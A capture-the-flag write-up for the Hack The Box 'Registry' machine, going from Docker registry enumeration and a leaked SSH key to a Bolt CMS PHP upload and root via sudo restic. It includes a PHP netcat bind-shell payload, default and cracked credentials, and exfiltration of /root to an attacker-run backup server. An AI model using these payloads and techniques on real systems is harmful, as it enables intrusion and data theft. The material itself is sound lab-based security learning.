Posts Hack The Box Write Up - Registry
Post
Cancel

Hack The Box Write Up - Registry

registry

OS: Linux
Difficulty: Hard
Points:40
Release:19 Oct 2019
IP:10.10.10.159

Information Gathering

Nmap

We begin our reconnaissance by running an Nmap scan checking default scripts and testing for vulnerabilities.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
# Nmap 7.80SVN scan initiated Thu Dec 12 22:18:37 2019 as: nmap -vv --reason -Pn -sV -sC --version-all -oN /home/z3r0/CTF/HTB/Machine/Registry/scans/_quick_tcp_nmap.txt -oX /home/z3r0/CTF/HTB/Machine/Registry/scans/xml/_quick_tcp_nmap.xml 10.10.10.159
Increasing send delay for 10.10.10.159 from 0 to 5 due to 11 out of 24 dropped probes since last increase.
Nmap scan report for 10.10.10.159
Host is up, received user-set (0.37s latency).
Scanned at 2019-12-12 22:18:38 +08 for 95s
Not shown: 997 closed ports
Reason: 997 conn-refused
PORT    STATE SERVICE  REASON  VERSION
22/tcp  open  ssh      syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 72:d4:8d:da:ff:9b:94:2a:ee:55:0c:04:30:71:88:93 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCZtxPox0F/6ZQbPbgwP9t13ZX+DegufV+sVoqTGWfuE2/jQwVLR+TCLJM4EDg4UJol4OHl0ATQBkPM7CSi1DS3oZgNlaASXQoZFzHUN4KF1/B6uShfMcszORHOBSRZAMe5nuesre2oJtrqhyO1VS2TMOitFLmKEaDImHy7EXe8qnaK8CrVFAxdUOG8iQFEiZUt8JZJ6CPgfIu00t4JpIl9l4aOFEZT6H7xf7K74ov2KNyP6WCoOtdDf7Rhfwcfo6dogHxssH6O/d+FgN6KJ8q2gJjUZVYYjZHTfGCPRukmSDYQNglQkvzuOy3umUTwNt5NdjYBT+vemcOIaDPm0SX
|   256 c7:40:d0:0e:e4:97:4a:4f:f9:fb:b2:0b:33:99:48:6d (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDFZI3tSfqp1WJF1TjoPa3J6j94yzXZMtFj92P8HcBUXCosmhsTsRa5rBvt20Es/qTp2otqYz3R3jf9O0OGC/tc=
|   256 78:34:80:14:a1:3d:56:12:b4:0a:98:1f:e6:b4:e8:93 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINNAMP4YFJGAx3ip1MPEsDuXUhgHXOIxrVTUCOxqJeRr
80/tcp  open  http     syn-ack nginx 1.14.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Welcome to nginx!
443/tcp open  ssl/http syn-ack nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: 400 The plain HTTP request was sent to HTTPS port
| ssl-cert: Subject: commonName=docker.registry.htb
| Issuer: commonName=Registry
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2019-05-06T21:14:35
| Not valid after:  2029-05-03T21:14:35
| MD5:   0d6f 504f 1cb5 de50 2f4e 5f67 9db6 a3a9
| SHA-1: 7da0 1245 1d62 d69b a87e 8667 083c 39a6 9eb2 b2b5
| -----BEGIN CERTIFICATE-----
| MIICrTCCAZUCCQDjC7Es6pyC3TANBgkqhkiG9w0BAQsFADATMREwDwYDVQQDDAhS
| ZWdpc3RyeTAeFw0xOTA1MDYyMTE0MzVaFw0yOTA1MDMyMTE0MzVaMB4xHDAaBgNV
| BAMME2RvY2tlci5yZWdpc3RyeS5odGIwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
| ggEKAoIBAQDAQd6mLhCheVIu0IOf2QIXH4UZGnzIrcQgDfTelpc3E4QxH0nq+KPg
| 7gsPuMz/WMnmZUh3dLKLXb7hqJ2Wk8vQM6tt+PbKna/D6WKXqGM3JnSLKW1YOkIu
| AuQenMOxJxh41IA0+3FqdlEdtaOV8sP+bgFB/uG2NDfPOLciJMop+d5pwpcxro8l
| egZASYNM3AbZjWAotmMqHwjGwZwqqxXxn61DixNDN2GWLQHO7QPUVUjF+Npso3zN
| ZLUJ1vkAtl6kFlmLTJgjlTUuE78udKD5r/NLqHNxxxObaSFXrmm2maDDoAkhobOt
| ljpa/U/fCv8g03KToaXVZYb6BfFEP5FBAgMBAAEwDQYJKoZIhvcNAQELBQADggEB
| AF3zSdj6GB3UYb431GRyTe32Th3QgpbXsQXA2qaLjI0n3qOF5PYnADgKsDzTxtDU
| z4e5vLz0Y3NhMKobft+vzBt2GbJIzo8DbmDBD3z1WQU+GLTnXyUAPF9J6fhtUgKm
| hoq1S8YsKRt/NMJwZMk3GiIw1c7KEN3/9XqJ9lfIyeXqVc6XBvuiZ+ssjDId0RZO
| 7eWWELxItMHPVScwWpOA7B4INPM6USKGy7hUTFcPJZB7+ElTFO2h0c4MwFQcSqKW
| BUG+oUPpMOoO99ZRnX8D5/H3dvbuBsuqKgRrPmQnMehoWs7pNRUDudUnnLfGEJHh
| PEyspHOCbg1C6a0gI1xo0c0=
|_-----END CERTIFICATE-----
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/local/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Dec 12 22:20:13 2019 -- 1 IP address (1 host up) scanned in 96.65 seconds

Open Port: 22,80,443 Interesting subdomain name: docker.registry.htb

So lets put registry.htb and docker.registry.htb to /etc/hosts

Website - registry.htb

The frontpage of the website, hmm..

Lets fuzz the dir to get valid page. Using dirbuster for common dir name

Lets take a look

install

bolt

Ok hit a page with some interface. On this point, i simply check all the pages and links, but returned 404 error. I’m thinking of fuzzing the dir name again, with gobuster again.

with the result, i tried all the dir names again, and got 403 error except bolt dir. It redirects me to login page. Interesting

there should be key to get in. Maybe try look at the other host.

Website - docker.registry.htb

I start to fuzzing the site with gobuster to get valid dirname.

Got v2 dir.

HTTP Auth

Accessing v2 page, prompted with HTTP Auth box

Just using common credential admin:admin, im authenticated and redirected to page with empty response output. Looks like some api endpoint page.

Quick search in google with key docker v2, return interesting info about Docker Registry HTTP API V2

Dockerfetcher script

With docker registry api information, im thinking on searching for docker registry api script, and stumbled on python script

dockerfetch

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
import os
import json
import optparse
import requests

# pulls Docker Images from unauthenticated docker registry api. 
# and checks for docker misconfigurations. 

apiversion = "v2"
final_list_of_blobs = []

	
# Disable insecure request warning 
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

parser = optparse.OptionParser()
parser.add_option('-u', '--url', action="store", dest="url", help="URL Endpoint for Docker Registry API v2. Eg https://IP:Port", default="spam")
parser.add_option('-a', '--authorization',help="Found in the header prequest params (Authorization ) its an base64 user:password encode", default="")
options, args = parser.parse_args()
url = options.url
header = options.authorization

def list_repos():
        req = requests.get(url+ "/" + apiversion + "/_catalog",headers={'Authorization': header}, verify=False)
        print(req)
        return json.loads(req.text)["repositories"]

def find_tags(reponame):
	req = requests.get(url+ "/" + apiversion + "/" + reponame+"/tags/list", headers={'Authorization': header}, verify=False)
	print("\n")
	data =  json.loads(req.content)
	if "tags" in data:
		return data["tags"]

def list_blobs(reponame,tag):
	req = requests.get(url+ "/" + apiversion + "/" + reponame+"/manifests/" + tag, headers={'Authorization': header}, verify=False)
	data = json.loads(req.content)
	if "fsLayers" in data:
		for x in data["fsLayers"]:
			curr_blob = x['blobSum'].split(":")[1]
			if curr_blob not in final_list_of_blobs:
				final_list_of_blobs.append(curr_blob)

def download_blobs(reponame, blobdigest,dirname):
	req = requests.get(url+ "/" + apiversion + "/" + reponame +"/blobs/sha256:" + blobdigest, headers={'Authorization': header}, verify=False)
	filename = "%s.tar.gz" % blobdigest
	with open(dirname + "/" + filename, 'wb') as test:
		test.write(req.content)

def main(): 
	if url is not "spam":
		list_of_repos = list_repos()
		print "\n[+] List of Repositories:\n"
		for x in list_of_repos:
			print x
		target_repo = raw_input("\nWhich repo would you like to download?:  ")
		if target_repo in list_of_repos:
			tags = find_tags(target_repo)
			if tags is not None:
				print "\n[+] Available Tags:\n"
				for x in tags:
					print x

				target_tag = raw_input("\nWhich tag would you like to download?:  ")
				if target_tag in tags:
					list_blobs(target_repo,target_tag)

					dirname = raw_input("\nGive a directory name:  ")
					os.makedirs(dirname)
					print "Now sit back and relax. I will download all the blobs for you in %s directory. \nOpen the directory, unzip all the files and explore like a Boss. " % dirname
					for x in final_list_of_blobs:
						print "\n[+] Downloading Blob: %s" % x
						download_blobs(target_repo,x,dirname)
				else:
					print "No such Tag Available. Qutting...."
			else:
				print "[+] No Tags Available. Quitting...."
		else:
			print "No such repo found. Quitting...."
	else:
		print "\n[-] Please use -u option to define API Endpoint, e.g. https://IP:Port\n"

if __name__ == "__main__":
	main()

Running the script, im able to fetch the Blobs.

1
python2.7 docketfetch.py -u https://docker.registry.htb -a "Basic YWRtaW46YWRtaW4="

bolt-image

Upon finishing the download, extracting the file, and this is what i got.

.bash_history

In enumeration process, i found interesting command history by looking in .bash_history file in root dir

  1. ssh key generation
  2. the priv key location
  3. shell script executed

/etc/profile.d/01-ssh.sh

There is shell script to run ssh and i found the passphrase for the ssh

Exploitation

SSH

With all the info collected, now i have the username and passphrase for ssh.

ssh -i bolt-image/root/.ssh/id_rsa bolt@10.10.10.159 passphrase:GkOcz221Ftb3ugog

Successfuly logged in.

User Flag

With ssh access, just ls the home dir, and got the user.txt

Privesc

I begin another enumeration. Using enumeration script, found useful command being run. I gotta find where this command was executed

/var/www/html/backup.php

Upon looking for restic command being run by sudo, i hit this file. and checking it contents, surely this file can run sudo restic command

this file actually in website dir. This means the command can be executed by www-data. I gotta find login credential for bolt login page i left earlier.

bolt.db

Deeper looking in /var/www/html dir, found bolt.db in bolt/app/database. Inside the file, I can see admin hash there

Cracking the hash

Copied the hash found in bolt.db, then crack it using john will reveal the password.

Nice, password cracked: strawberry

Bolt CMS

Visit the page again, logged in with the cracked password

username: admin password: strawberry

PHP Upload

After testing some of the functions in the admin panel, it seems i can upload php file. By default it wont accept php extension, but I can changed that in the settings

When trying using revershell, it not connecting back to my listener. Verify it with bolt ssh, seem reverse shell wont work. so i need bind shell. Im just using simple approach, i uploaded my nc to the server because the nc in the server not working with -e flag. Using scp command, im transfering nc to /var/tmp dir.

and the php code im uploaded named shell.php

1
<?php echo system("/var/tmp/nc -lnvp 31337 -e /bin/bash");

Shell

By the time my php file uploaded, i quickly open the file because in my testing process, any file uploaded will be deleted in short time.

Then just using nc from my local machine to access the open port in the machine to spawn bash.

Sudo right

Im checking sudo right instantly after getting the shell. Yeah, www-data is allowed to run sudo.

Restic

This tool is new to me actually, had to read their documentation to get basic understanding how it work.

In short, with sudo right, it can backup any file using restic to rest backend. So im planning on backup root dir.

Init Repo

Because of the security using this tool, its better im using my own repo. Here the command

restic init --repo <repo-name>

rest-server

Due to sudo command only allowed restic to backup to rest backend, i need some way to create rest backend. Luckily restic came with rest-server cli. Download it, and transfer it to target.

Transfering

Starting rest backend

Using nc i need to put ampersand (&) to the end of command, so it will go to background, otherwise i gotta kill my shell to end the process.

Abusing sudo restic command

Just using what sudo command allowed to create backup.

Snapshot list and restoring

Verify the dir exist in my repo using snapshot options. Then using restore command followed with the snapshot id.

the 1st snapshot there was my test file

Root Dir

List

Looks i can list all root content there

Root Flag

Just cat the flag then

Priv key

Im grabbing root priv_key for stable access to root

Root SSH

And yeehaa!

Reference

  1. https://bolt.cm/
  2. https://restic.net/
  3. https://github.com/restic/rest-server
This post is licensed under CC BY 4.0 by the author.

Trending Tags

Contents

Trending Tags